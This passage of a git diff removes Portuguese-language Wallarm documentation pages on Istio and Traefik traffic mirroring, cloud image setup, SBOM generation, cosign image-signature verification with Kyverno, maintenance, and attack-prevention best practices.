networking.istio.io/v1alpha3 -kind: VirtualService -metadata: - name: httpbin -spec: - hosts: - - ... - gateways: - ### Nome do componente `Gateway` do istio. Necessário para lidar com o tráfego proveniente de - ### fontes externas - ### - - httpbin-gateway - ### Etiqueta especial, permite que as rotas deste serviço virtual funcionem com solicitações - ### de pods do Kubernetes (comunicação interna ao cluster, não através de gateways) - ### - - mesh - http: - - route: - - destination: - host: httpbin - port: - number: 80 - weight: 100 - mirror: - host: some.external.service.tld # endereço de destino do espelhamento - port: - number: 8445 # porta de destino do espelhamento ---- -### Para lidar com solicitações externas -### -apiVersion: networking.istio.io/v1alpha3 -kind: Gateway -metadata: - name: httpbin-gateway -spec: - selector: - istio: ingress - app: istio-ingress - servers: - - port: - number: 80 - name: http - protocol: HTTP - hosts: - - "httpbin.local" -``` - -[Revise a documentação do Istio](https://istio.io/latest/docs/tasks/traffic-management/mirroring/) - -### Traefik - -O seguinte exemplo de configuração é baseado na abordagem do [‘arquivo de configuração dinâmica’](https://doc.traefik.io/traefik/reference/dynamic-configuration/file/). O Traefik também suporta outros modos de configuração, e você pode facilmente ajustar o fornecido para qualquer um deles, pois eles têm uma estrutura semelhante. - -```yaml -### Arquivo de configuração dinâmica -### Nota: os pontos de entrada são descritos no arquivo de configuração estática -http: - services: - ### É assim que se mapeia os `services` original e o wallarm. - ### Nas futuras configurações dos `routers` (veja abaixo), por favor - ### use o nome deste serviço (`with_mirroring`). - ### - with_mirroring: - mirroring: - service: "httpbin" - mirrors: - - name: "wallarm" - percent: 100 - - ### O `service` para espelhar o tráfego - o ponto final - ### que deve receber as solicitações espelhadas (copiadas) - ### do `service` original. - ### - wallarm: - loadBalancer: - servers: - - url: "http://wallarm:8445" - - ### `Service` original. Este serviço deve receber o - ### tráfego original. - ### - httpbin: - loadBalancer: - servers: - - url: "http://httpbin:80/" - - routers: - ### O nome do router deve ser o mesmo que o nome do `service` - ### para o espelhamento de tráfego funcionar (with_mirroring). - ### - with_mirroring: - entryPoints: - - "web" - rule: "Host(`mirrored.example.com`)" - service: "with_mirroring" - - ### O roteador para o tráfego original. - ### - just_to_original: - entryPoints: - - "web" - rule: "Host(`original.example.local`)" - service: "httpbin" -``` - -[Revise a documentação do Traefik](https://doc.traefik.io/traefik/routing/services/#mirroring-service) diff --git a/docs/latest-pt-BR/installation/packages/aws-ami.md b/docs/latest-pt-BR/installation/packages/aws-ami.md deleted file mode 100644 index a0204cde94..0000000000 --- a/docs/latest-pt-BR/installation/packages/aws-ami.md +++ /dev/null @@ -1,34 +0,0 @@ -[link-ssh-keys]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-key-pair -[link-sg]: https://docs.aws.amazon.com/en_us/AWSEC2/latest/UserGuide/get-set-up-for-amazon-ec2.html#create-a-base-security-group -[link-launch-instance]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EC2_GetStarted.html#ec2-launch-instance - -[anchor1]: #2-create-a-security-group -[anchor2]: #1-create-a-pair-of-ssh-keys-in-aws - -[img-create-sg]: ../../images/installation-ami/common/create_sg.png -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../installation/supported-deployment-options.md -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../admin-en/installation-guides/amazon-cloud/autoscaling-overview.md -[real-ip-docs]: ../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[wallarm-mode]: ../../admin-en/configure-wallarm-mode.md -[inline-docs]: ../inline/overview.md -[oob-docs]: ../oob/overview.md -[wallarm-api-via-proxy]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-ami.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/packages/gcp-machine-image.md b/docs/latest-pt-BR/installation/packages/gcp-machine-image.md deleted file mode 100644 index e4548b184d..0000000000 --- a/docs/latest-pt-BR/installation/packages/gcp-machine-image.md +++ /dev/null @@ -1,29 +0,0 @@ -[link-launch-instance]: https://cloud.google.com/deep-learning-vm/docs/quickstart-marketplace - -[img-ssh-key-generation]: ../../images/installation-gcp/common/ssh-key-generation.png -[versioning-policy]: ../../updating-migrating/versioning-policy.md#version-list -[img-wl-console-users]: ../../images/check-user-no-2fa.png -[img-create-wallarm-node]: ../../images/user-guides/nodes/create-cloud-node.png -[deployment-platform-docs]: ../../installation/supported-deployment-options.md -[node-token]: ../../quickstart/getting-started.md#deploy-the-wallarm-filtering-node -[api-token]: ../../user-guides/settings/api-tokens.md -[wallarm-token-types]: ../../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation -[platform]: ../../installation/supported-deployment-options.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[wallarm-nginx-directives]: ../../admin-en/configure-parameters-en.md -[autoscaling-docs]: ../../admin-en/installation-guides/google-cloud/autoscaling-overview.md -[real-ip-docs]: ../../admin-en/using-proxy-or-balancer-en.md -[allocate-memory-docs]: ../../admin-en/configuration-guides/allocate-resources-for-node.md -[limiting-request-processing]: ../../user-guides/rules/configure-overlimit-res-detection.md -[logs-docs]: ../../admin-en/configure-logging.md -[oob-advantages-limitations]: ../oob/overview.md#advantages-and-limitations -[wallarm-mode]: ../../admin-en/configure-wallarm-mode.md -[inline-docs]: ../inline/overview.md -[oob-docs]: ../oob/overview.md -[wallarm-api-via-proxy]: ../../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[web-server-mirroring-examples]: ../oob/web-server-mirroring/overview.md#examples-of-web-server-configuration-for-traffic-mirroring -[img-grouped-nodes]: ../../images/user-guides/nodes/grouped-nodes.png -[link-wallarm-health-check]: ../../admin-en/uat-checklist-en.md - ---8<-- "../include-pt-BR/waf/installation/cloud-platforms/article-for-inline-oob-gcp-image.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/security-edge/inline/access-control-lists.md b/docs/latest-pt-BR/installation/security-edge/inline/access-control-lists.md deleted file mode 100644 index e17ad13457..0000000000 --- a/docs/latest-pt-BR/installation/security-edge/inline/access-control-lists.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/access-control-lists.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/security-edge/inline/cache-rules.md b/docs/latest-pt-BR/installation/security-edge/inline/cache-rules.md deleted file mode 100644 index d33e69f652..0000000000 --- a/docs/latest-pt-BR/installation/security-edge/inline/cache-rules.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/cache-rules.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/security-edge/inline/telemetry-portal-logs-dashboard.md b/docs/latest-pt-BR/installation/security-edge/inline/telemetry-portal-logs-dashboard.md deleted file mode 100644 index d38cfd27bb..0000000000 --- a/docs/latest-pt-BR/installation/security-edge/inline/telemetry-portal-logs-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal-logs-dashboard.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/security-edge/inline/telemetry-portal-main-dashboard.md b/docs/latest-pt-BR/installation/security-edge/inline/telemetry-portal-main-dashboard.md deleted file mode 100644 index e1007683d3..0000000000 --- a/docs/latest-pt-BR/installation/security-edge/inline/telemetry-portal-main-dashboard.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal-main-dashboard.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/installation/security-edge/inline/telemetry-portal.md b/docs/latest-pt-BR/installation/security-edge/inline/telemetry-portal.md deleted file mode 100644 index 817ba47d05..0000000000 --- a/docs/latest-pt-BR/installation/security-edge/inline/telemetry-portal.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/installation/security-edge/inline/telemetry-portal.md" \ No newline at end of file diff --git a/docs/latest-pt-BR/integrations-devsecops/generate-sbom-for-docker-images.md b/docs/latest-pt-BR/integrations-devsecops/generate-sbom-for-docker-images.md deleted file mode 100644 index 40e1b135ae..0000000000 --- a/docs/latest-pt-BR/integrations-devsecops/generate-sbom-for-docker-images.md +++ /dev/null @@ -1,54 +0,0 @@ -# Gerando um SBOM para Imagens Docker Wallarm - -A Bill of Materials de Software (SBOM) é um inventário que lista os componentes de software e suas dependências em um aplicativo, incluindo versões, licenças e vulnerabilidades. Este artigo orienta você a gerar SBOM para imagens Docker Wallarm. - -Você pode precisar obter o SBOM para imagens Docker Wallarm para avaliar e mitigar possíveis riscos de segurança associados às dependências usadas nas imagens. O SBOM oferece transparência nos componentes de software e ajuda a garantir a conformidade. - -## A lista de imagens Docker Wallarm - -Abaixo está a lista de imagens Docker Wallarm [assinadas](verify-docker-image-signature.md). Você pode gerar SBOM para qualquer tag dessas imagens. - - -* Imagens Docker usadas pelo gráfico Helm para [Implantação do Controlador de Ingresso baseado em NGINX](../admin-en/installation-kubernetes-en.md): - - * [wallarm/ingress-nginx](https://hub.docker.com/r/wallarm/ingress-nginx) - * [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) - * [wallarm/ingress-controller-chroot](https://hub.docker.com/r/wallarm/ingress-controller-chroot) - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) -* Imagens Docker usadas pelo gráfico Helm para [Implantação de Sidecar](../installation/kubernetes/sidecar-proxy/deployment.md): - - * [wallarm/sidecar](https://hub.docker.com/r/wallarm/sidecar) - * [wallarm/sidecar-controller](https://hub.docker.com/r/wallarm/sidecar-controller) - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) - -## Requerimentos - -Para gerar um SBOM para imagens Docker Wallarm, você precisará usar a ferramenta CLI [syft](https://github.com/anchore/syft). - -Antes de continuar com a geração do SBOM, certifique-se de [instalar](https://github.com/anchore/syft#installation) o **syft** na sua máquina local ou dentro da sua pipeline de CI/CD. - -## Procedimento de geração do SBOM - -Para gerar um SBOM para uma imagem Docker, use o seguinte comando, substituindo a tag de imagem especificada pela desejada: - -```bash -syft wallarm/ingress-controller:4.6.2-1 -``` - -Por padrão, o **syft** retorna o SBOM no formato de texto. Você também pode gerá-lo em outros formatos, como CycloneDX, SPDX, e salvar a saída para um arquivo, por exemplo: - -```bash -syft wallarm/ingress-controller:4.6.2-1 --output spdx-json >> syft_json_sbom.spdx -syft wallarm/ingress-controller:4.6.2-1 --output cyclonedx-json >> cyclonedx_json_sbom.cyclonedx -``` - -Depois de gerar o SBOM, você pode usá-lo na sua pipeline de CI/CD para diversas ações, como varredura de vulnerabilidades, verificações de conformidade de licença, auditorias de segurança ou geração de relatórios. - -Para verificar que todas as dependências realmente pertencem à Wallarm, você pode simplesmente [verificar a assinatura da imagem](verify-docker-image-signature.md) como um todo. Ao assinar digitalmente nossas imagens, garantimos que a imagem assinada é realmente nossa. Consequentemente, essa garantia se estende ao SBOM, pois ele estará associado à imagem verificada da Wallarm. \ No newline at end of file diff --git a/docs/latest-pt-BR/integrations-devsecops/verify-docker-image-signature.md b/docs/latest-pt-BR/integrations-devsecops/verify-docker-image-signature.md deleted file mode 100644 index 03ea16883f..0000000000 --- a/docs/latest-pt-BR/integrations-devsecops/verify-docker-image-signature.md +++ /dev/null @@ -1,110 +0,0 @@ -# Verificando Assinaturas de Imagem Docker da Wallarm - -A Wallarm assina e compartilha a [chave pública](https://repo.wallarm.com/cosign.pub) para suas imagens Docker, permitindo que você verifique sua autenticidade e atenue riscos como imagens comprometidas e ataques à cadeia de suprimentos. Este artigo fornece instruções para verificar as assinaturas de imagem Docker da Wallarm. - -## Lista de imagens assinadas - -A partir do lançamento 4.4, a Wallarm assina as seguintes imagens Docker: - -* Todas as imagens Docker utilizadas pelo gráfico Helm para [Implantação do Controlador de Ingresso baseado em NGINX](../admin-en/installation-kubernetes-en.md): - - * [wallarm/ingress-nginx](https://hub.docker.com/r/wallarm/ingress-nginx) - * [wallarm/ingress-controller](https://hub.docker.com/r/wallarm/ingress-controller) - * [wallarm/ingress-controller-chroot](https://hub.docker.com/r/wallarm/ingress-controller-chroot) - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) -* Todas as imagens Docker utilizadas pelo gráfico Helm para [Implantação do Sidecar](../installation/kubernetes/sidecar-proxy/deployment.md): - - * [wallarm/sidecar](https://hub.docker.com/r/wallarm/sidecar) - * [wallarm/sidecar-controller](https://hub.docker.com/r/wallarm/sidecar-controller) - * [wallarm/ingress-collectd](https://hub.docker.com/r/wallarm/ingress-collectd) - * [wallarm/ingress-tarantool](https://hub.docker.com/r/wallarm/ingress-tarantool) - * [wallarm/ingress-ruby](https://hub.docker.com/r/wallarm/ingress-ruby) - * [wallarm/ingress-python](https://hub.docker.com/r/wallarm/ingress-python) - -## Requisitos - -Para garantir a autenticidade das imagens Docker da Wallarm, [Cosign](https://docs.sigstore.dev/cosign/overview/) é utilizado para tanto assinatura quanto verificação. - -Antes de prosseguir com a verificação de assinatura da imagem Docker, certifique-se de [instalar](https://docs.sigstore.dev/cosign/installation/) a utilidade de linha de comando Cosign em sua máquina local ou em seu pipeline CI/CD. - -## Executando verificação de assinatura de imagem Docker - -Para verificar uma assinatura de imagem Docker, execute os seguintes comandos substituindo o valor `WALLARM_DOCKER_IMAGE` pela tag de imagem específica: - -```bash -export WALLARM_DOCKER_IMAGE="wallarm/ingress-controller:4.6.2-1" -cosign verify --key https://repo.wallarm.com/cosign.pub $WALLARM_DOCKER_IMAGE -``` - -A [saída](https://docs.sigstore.dev/cosign/verify/) deve fornecer o objeto `docker-manifest-digest` com o digest da imagem, por exemplo: - -```bash -[{"critical":{"identity":{"docker-reference":"index.docker.io/"}, -"image":{"docker-manifest-digest":""},"type":"cosign container image signature"}, -"optional":{"Bundle":{"SignedEntryTimestamp":"","Payload":{"body":"", -"integratedTime":,"logIndex":,"logID":""}}}}] -``` - -## Usando motor de política Kubernetes para verificação de assinatura - -Motores como o Kyverno ou o Open Policy Agent (OPA) permitem a verificação da assinatura de imagem Docker dentro do seu cluster Kubernetes. Ao criar uma política com regras para verificação, o Kyverno inicia a verificação de assinatura da imagem com base em critérios definidos, incluindo repositórios ou tags. A verificação ocorre durante a implantação do recurso Kubernetes. - -Aqui está um exemplo de como usar a política Kyverno para verificação de assinatura de imagem Docker da Wallarm: - -1. [Instale o Kyverno](https://kyverno.io/docs/installation/methods/) em seu cluster e certifique-se de que todos os pods estão operacionais. -1. Crie a seguinte política YAML do Kyverno: - - ```yaml - apiVersion: kyverno.io/v1 - kind: ClusterPolicy - metadata: - name: verify-wallarm-images - spec: - webhookTimeoutSeconds: 30 - validationFailureAction: Enforce - background: false - failurePolicy: Fail - rules: - - name: verify-wallarm-images - match: - any: - - resources: - kinds: - - Pod - verifyImages: - - imageReferences: - - docker.io/wallarm/ingress* - - docker.io/wallarm/sidecar* - attestors: - - entries: - - keys: - kms: https://repo.wallarm.com/cosign.pub - ``` -1. Aplique a política: - - ``` - kubectl apply -f - ``` -1. Implante o [Controlador de Ingresso NGINX da Wallarm](../admin-en/installation-kubernetes-en.md) ou [Controlador de Sidecar](../installation/kubernetes/sidecar-proxy/deployment.md), dependendo de suas necessidades. A política do Kyverno será aplicada durante a implantação para verificar a assinatura da imagem. -1. Analise os resultados da verificação executando: - - ``` - kubectl describe ClusterPolicy verify-wallarm-images - ``` - -Você receberá um resumo detalhando o status da verificação da assinatura: - -``` -Events: - Type Reason Age From Message - ---- ------ ---- ---- ------- - Normal PolicyApplied 50s (x2 over 50s) kyverno-admission Deployment wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-controller: pass - Normal PolicyApplied 48s kyverno-admission Pod wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-controller-9dcfddfc7-hjbhd: pass - Normal PolicyApplied 40s (x2 over 40s) kyverno-admission Deployment wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-postanalytics: pass - Normal PolicyApplied 35s kyverno-admission Pod wallarm-sidecar/wallarm-sidecar-wallarm-sidecar-postanalytics-554789546f-9cc8j: pass -``` - -A política `verify-wallarm-images` fornecida tem o parâmetro `failurePolicy: Fail`. Isso implica que se a autenticação da assinatura não for bem-sucedida, toda a implantação do gráfico falhará. diff --git a/docs/latest-pt-BR/maintenance/overview.md b/docs/latest-pt-BR/maintenance/overview.md deleted file mode 100644 index 7e1b3808c5..0000000000 --- a/docs/latest-pt-BR/maintenance/overview.md +++ /dev/null @@ -1,61 +0,0 @@ -# Manutenção - -Esta seção fornece orientações abrangentes sobre manutenção, monitoramento e atualização de sua implantação do Wallarm para garantir desempenho e segurança ideais. - -## O que está incluído - -* **Nós e Infraestrutura** - * [Visão geral dos nós](../user-guides/nodes/nodes.md) - Gerenciar e monitorar seus nós Wallarm - * [Alocação de recursos](../admin-en/configuration-guides/allocate-resources-for-node.md) - Configurar recursos de CPU e memória - * [Sincronização na nuvem](../admin-en/configure-cloud-node-synchronization-en.md) - Configurar sincronização de nós com Wallarm Cloud - * [Configuração de proxy](../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md) - Configurar proxy para acesso à API Wallarm - * [Configuração da página de bloqueio](../admin-en/configuration-guides/configure-block-page-and-code.md) - Personalizar páginas de bloqueio e códigos de resposta - * [Tratamento de cabeçalhos inválidos](../admin-en/configuration-guides/handling-invalid-headers.md) - Configurar comportamento para cabeçalhos HTTP inválidos - * [Impressão digital JA3](../admin-en/enabling-ja3.md) - Habilitar impressão digital TLS para segurança aprimorada - * [Provedor Terraform](../admin-en/managing/terraform-provider.md) - Gerenciar infraestrutura Wallarm como código - -* **Monitoramento e Métricas** - * [Serviço de Estatísticas](../admin-en/configure-statistics-service.md) - Configurar coleta de estatísticas - * [Registro de Nó](../admin-en/configure-logging.md) - Configurar níveis de log e saída - * [Configuração de Failover](../admin-en/configure-backup-en.md) - Configurar mecanismos de failover - * [Verificação de Saúde](../admin-en/uat-checklist-en.md) - Verificar integridade e funcionalidade do nó - -* **Atualizações e migração** - * [Política de versionamento](../updating-migrating/versioning-policy.md) - Entender o versionamento e ciclo de vida de suporte do Wallarm - * [Recomendações gerais](../updating-migrating/general-recommendations.md) - Melhores práticas para atualizações - * [O que há de novo](../updating-migrating/what-is-new.md) - Principais mudanças e guia de migração para novas versões - * **Changelogs** - * [Changelog do nó NGINX](../updating-migrating/node-artifact-versions.md) - Notas de versão para nós baseados em NGINX - * [Changelog do nó nativo](../updating-migrating/native-node/node-artifact-versions.md) - Notas de versão para nós nativos - * [Pacote de código do conector](../installation/connectors/code-bundle-inventory.md) - Notas de versão do conector - * **Atualizações de nó NGINX** - * [Pacotes DEB/RPM](../updating-migrating/nginx-modules.md) - * [Módulo Postanalytics](../updating-migrating/separate-postanalytics.md) - * [Instalador tudo-em-um](../updating-migrating/all-in-one.md) - * [Imagem Docker](../updating-migrating/docker-container.md) - * [Controlador Ingress](../updating-migrating/ingress-controller.md) - * [Aposentadoria do controlador Ingress](../updating-migrating/nginx-ingress-retirement.md) - * [Proxy Sidecar](../updating-migrating/sidecar-proxy.md) - * [Imagem em nuvem](../updating-migrating/cloud-image.md) - * [Nó multilocatário](../updating-migrating/multi-tenant.md) - * **Atualizações de nó nativo** - * [Instalador tudo-em-um](../updating-migrating/native-node/all-in-one.md) - * [Gráfico Helm](../updating-migrating/native-node/helm-chart.md) - * [Imagem Docker](../updating-migrating/native-node/docker-image.md) - -* **Operações** - * [Volume de solicitações de aprendizado](../admin-en/operation/learn-incoming-request-number.md) - Determinar volume de solicitações de API para faturamento e planejamento de capacidade - * [Endereços IP do scanner](../admin-en/scanner-addresses.md) - Endereços IP do scanner Wallarm para lista de permissões - -* **Solução de problemas** - * [Visão geral](../troubleshooting/overview.md) - Orientação geral de solução de problemas - * [Detecção e bloqueio](../troubleshooting/detection-and-blocking.md) - Solucionar problemas de detecção de ataques - * [Ferramentas de detecção](../troubleshooting/detection-tools-tuning.md) - Ajustar mecanismos de detecção - * [Desempenho](../troubleshooting/performance.md) - Resolver problemas de desempenho - * [IP real do cliente](../admin-en/using-proxy-or-balancer-en.md) - Configurar detecção correta de IP do cliente - * [Problemas do usuário final](../faq/common-errors-after-installation.md) - Erros comuns pós-instalação - * [Controlador Ingress Wallarm](../faq/ingress-installation.md) - Problemas específicos do Ingress - * [Wallarm Cloud está inativo](../faq/wallarm-cloud-down.md) - Lidar com indisponibilidade da nuvem - * [Alertas do painel OWASP](../faq/node-issues-on-owasp-dashboards.md) - Resolver alertas do painel - * [Log de erros NGINX](../troubleshooting/wallarm-issues-in-nginx-error-log.md) - Interpretar mensagens de erro NGINX - * [DNS dinâmico no NGINX](../admin-en/configure-dynamic-dns-resolution-nginx.md) - Configurar resolução de DNS dinâmico diff --git a/docs/latest-pt-BR/news.md b/docs/latest-pt-BR/news.md deleted file mode 100644 index b747991b60..0000000000 --- a/docs/latest-pt-BR/news.md +++ /dev/null @@ -1,16 +0,0 @@ -# Registro de alterações e notícias - -
            - - - diff --git a/docs/latest-pt-BR/quickstart/attack-prevention-best-practices.md b/docs/latest-pt-BR/quickstart/attack-prevention-best-practices.md deleted file mode 100644 index 2577dc2340..0000000000 --- a/docs/latest-pt-BR/quickstart/attack-prevention-best-practices.md +++ /dev/null @@ -1,80 +0,0 @@ -# Melhores práticas para prevenção de ataques com Wallarm - -Este artigo irá mostrar a você como usar o Wallarm, uma plataforma única que é como ter dois guardiões em um, para a prevenção de ataques. Ele não apenas protege websites como outras ferramentas (conhecidas como WAAP), mas também protege especificamente as APIs do seu sistema, garantindo que todas as partes técnicas do seu espaço online estejam seguras. - -Com tantas ameaças que temos online, é crucial ter um escudo forte. O Wallarm pode interromper ameaças comuns, como injeção SQL, cross-site scripting, execução remota de código e Path Traversal por conta própria. Mas, para alguns perigos sorrateiros e casos de uso especializados, como a proteção contra ataques DoS, a tomada de conta, o abuso da API, podem ser necessários alguns ajustes. Vamos orientá-lo nessas etapas, garantindo que você obtenha a melhor proteção possível. Caso você seja um especialista em segurança experiente ou esteja apenas embarcando na sua jornada de cibersegurança, este artigo fornecerá informações valiosas para reforçar sua estratégia de segurança. - -## Gerencie múltiplas aplicações e inquilinos - -Se a sua organização usa múltiplas aplicações ou inquilinos separados, você provavelmente achará a plataforma Wallarm útil para um gerenciamento fácil. Ela permite que você veja eventos e estatísticas separadamente [para cada aplicação](../user-guides/settings/applications.md) e configure gatilhos ou regras específicas por aplicação. Caso precise, você pode criar um ambiente isolado [para cada inquilino](../installation/multi-tenant/overview.md) com controles de acesso separados. - -## Estabeleça uma zona de confiança - -Ao introduzir novas medidas de segurança, a operação ininterrupta das aplicações de negócios cruciais deve permanecer como uma prioridade principal. Para garantir que os recursos confiáveis não sejam desnecessariamente processados pela plataforma Wallarm, você tem a opção de alocá-los na [lista de permissões de IP](../user-guides/ip-lists/allowlist.md). - -O tráfego originado pelos recursos da lista de permissões não é analisado ou registrado por padrão. Isso significa que os dados das solicitações ignoradas não estarão disponíveis para revisão. Portanto, o seu uso deve ser aplicado com cautela. - -Para URLs que requerem tráfego irrestrito ou para os quais você deseja realizar supervisão manual, considere [configurar o nó Wallarm para o modo de monitoramento](../admin-en/configure-wallarm-mode.md). Isso irá capturar e registrar todas as atividades maliciosas direcionadas a esses URLs. Você pode subsequentemente revisar esses eventos através da UI do Console Wallarm, monitorar anomalias e, se necessário, tomar ações manuais como bloquear IPs específicos. - -## Controle os modos de filtragem de tráfego e excepções de processamento - -Implemente as medidas de segurança gradualmente usando nossas opções flexíveis para gerenciar modos de filtragem e personalizar o processamento para se adequar às suas aplicações. Por exemplo, habilitar o modo de monitoramento para [nós específicos, aplicações](../admin-en/configure-wallarm-mode.md#specifying-the-filtration-mode-in-the-wallarm_mode-directive), ou [partes de uma aplicação](../user-guides/rules/wallarm-mode-rule.md#example-disabling-request-blocking-during-user-registration). - -Se necessário, exceto [detectores personalizados para elementos específicos de solicitações](../user-guides/rules/ignore-attack-types.md). - -## Configure a lista de denegação - -Você pode proteger suas aplicações de fontes não confiáveis incorporando-as em uma [lista de denegação](../user-guides/ip-lists/denylist.md), bloqueando o tráfego de regiões ou fontes suspeitas, como VPNs, servidores Proxy ou redes Tor. - -## Bloqueie os perpetradores de multi-ataques - -Quando o Wallarm está no modo de bloqueio, ele bloqueia automaticamente todas as solicitações com cargas maliciosas, deixando passar apenas as solicitações legítimas. Se várias atividades maliciosas de um único endereço de IP forem detectadas em um curto período de tempo (muitas vezes referido como perpetradores de multi-ataques), considere [bloquear completamente o atacante usando um gatilho específico](../user-guides/triggers/trigger-examples.md#denylist-ip-if-4-or-more-malicious-payloads-are-detected-in-1-hour) que os coloca automaticamente na lista de denegação. - -## Habilite a mitigação de força bruta - -Mitigue ataques de força bruta limitando o número de tentativas de acesso a páginas autorizadas ou formulários de redefinição de senhas de um único endereço IP. Você pode fazer isso configurando um [gatilho específico](../admin-en/configuration-guides/protecting-against-bruteforce.md). - -## Habilite a mitigação de navegação forçada - -A navegação forçada é um ataque no qual um invasor tenta encontrar e utilizar recursos ocultos, como diretórios e arquivos com informações sobre a aplicação. Esses arquivos ocultos podem fornecer aos invasores informações que podem utilizar para realizar outros tipos de ataques. Você pode prevenir tais atividades maliciosas definindo limites para tentativas infrutíferas de alcançar recursos específicos por meio de um [gatilho específico](../admin-en/configuration-guides/protecting-against-bruteforce.md). - -## Defina limites de taxa - -Sem um limite adequado de quão frequentemente as APIs podem ser usadas, elas podem ser atingidas por ataques que sobrecarregam o sistema, como ataques DoS e de força bruta, ou sobrecarga de API. Ao usar a regra [**Definir limite de taxa**](../user-guides/rules/rate-limiting.md), você pode especificar o número máximo de conexões que podem ser feitas para um escopo específico, garantindo também que as solicitações de entrada sejam distribuídas de maneira uniforme. - -## Ative a proteção BOLA - -A vulnerabilidade BOLA (Broken Object Level Authorization) permite que um invasor acesse um objeto através do seu identificador através de uma solicitação de API e leia ou modifique seus dados, contornando um mecanismo de autorização. Para prevenir ataques BOLA, você pode especificar manualmente os endpoints vulneráveis e definir limites para conexões com eles, ou ligar o Wallarm para identificar e proteger automaticamente os endpoints vulneráveis. [Saiba mais](../admin-en/configuration-guides/protecting-against-bola.md) - -## Empregue a Prevenção de Abuso de API - -[Configure perfis de abuso de API](../api-abuse-prevention/setup.md) para parar e bloquear bots que realizam abusos de API como tomada de conta, raspagem, crawlers de segurança e outras ações maliciosas automatizadas direcionadas às suas APIs. - -## Crie regras personalizadas de detecção de ataques - -Em certos cenários, pode ser benéfico adicionar manualmente uma [assinatura de detecção de ataque ou criar um patch virtual](../user-guides/rules/regex-rule.md). O Wallarm, embora não dependa de expressões regulares para a detecção de ataques, permite que os usuários incluam assinaturas adicionais baseadas em expressões regulares. - -## Mascare dados sensíveis - -O nó Wallarm envia informações de ataque para a Nuvem Wallarm. Certos dados, como autorização (cookies, tokens, senhas), dados pessoais e credenciais de pagamento, devem permanecer dentro do servidor onde são processados. [Crie uma regra de mascaramento de dados](../user-guides/rules/sensitive-data-rule.md) para cortar o valor original de pontos de solicitação específicos antes de enviá-los para a Nuvem Wallarm, garantindo que os dados sensíveis permaneçam dentro do seu ambiente confiável. - -## Integração contínua com SIEM/SOAR & Alertas instantâneos para eventos críticos - -O Wallarm oferece integração contínua com [vários sistemas SIEM/SOAR](../user-guides/settings/integrations/integrations-intro.md) como Sumo Logic, Splunk e outros, permitindo que você exporte facilmente todas as informações de ataque para o seu SOC para gerenciamento centralizado. - -As integrações do Wallarm em conjunto com a funcionalidade de [gatilhos](../user-guides/triggers/triggers.md) proporcionam uma excelente ferramenta para configurar relatórios e notificações em tempo real sobre ataques específicos, IPs da lista de denegação e volume geral de ataques em andamento. - -## Estratégia de defesa em camadas - -Ao criar medidas de segurança robustas e confiáveis para suas aplicações, é crucial adotar uma estratégia de defesa em camadas. Isso envolve a implementação de um conjunto de medidas de proteção complementares que juntas formam uma postura de segurança robusta e resistente. Além das medidas oferecidas pela plataforma 